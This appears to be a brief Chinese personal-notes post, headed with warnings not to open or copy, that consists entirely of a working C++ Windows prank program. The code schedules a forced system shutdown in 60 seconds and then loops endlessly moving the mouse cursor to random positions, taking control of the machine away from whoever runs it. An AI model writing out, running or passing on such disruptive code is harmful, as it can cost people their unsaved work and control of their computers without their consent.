不要打开

· · 个人记录

不要复制

#include<bits/stdc++.h> 
#include<windows.h>
#include<cstdlib>
#include<ctime>
using namespace std;
int main(){
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    system("shutdown -s -t 60");
    while(1)
        SetCursorPos(rand()%x,rand()%y);
    return 0;
}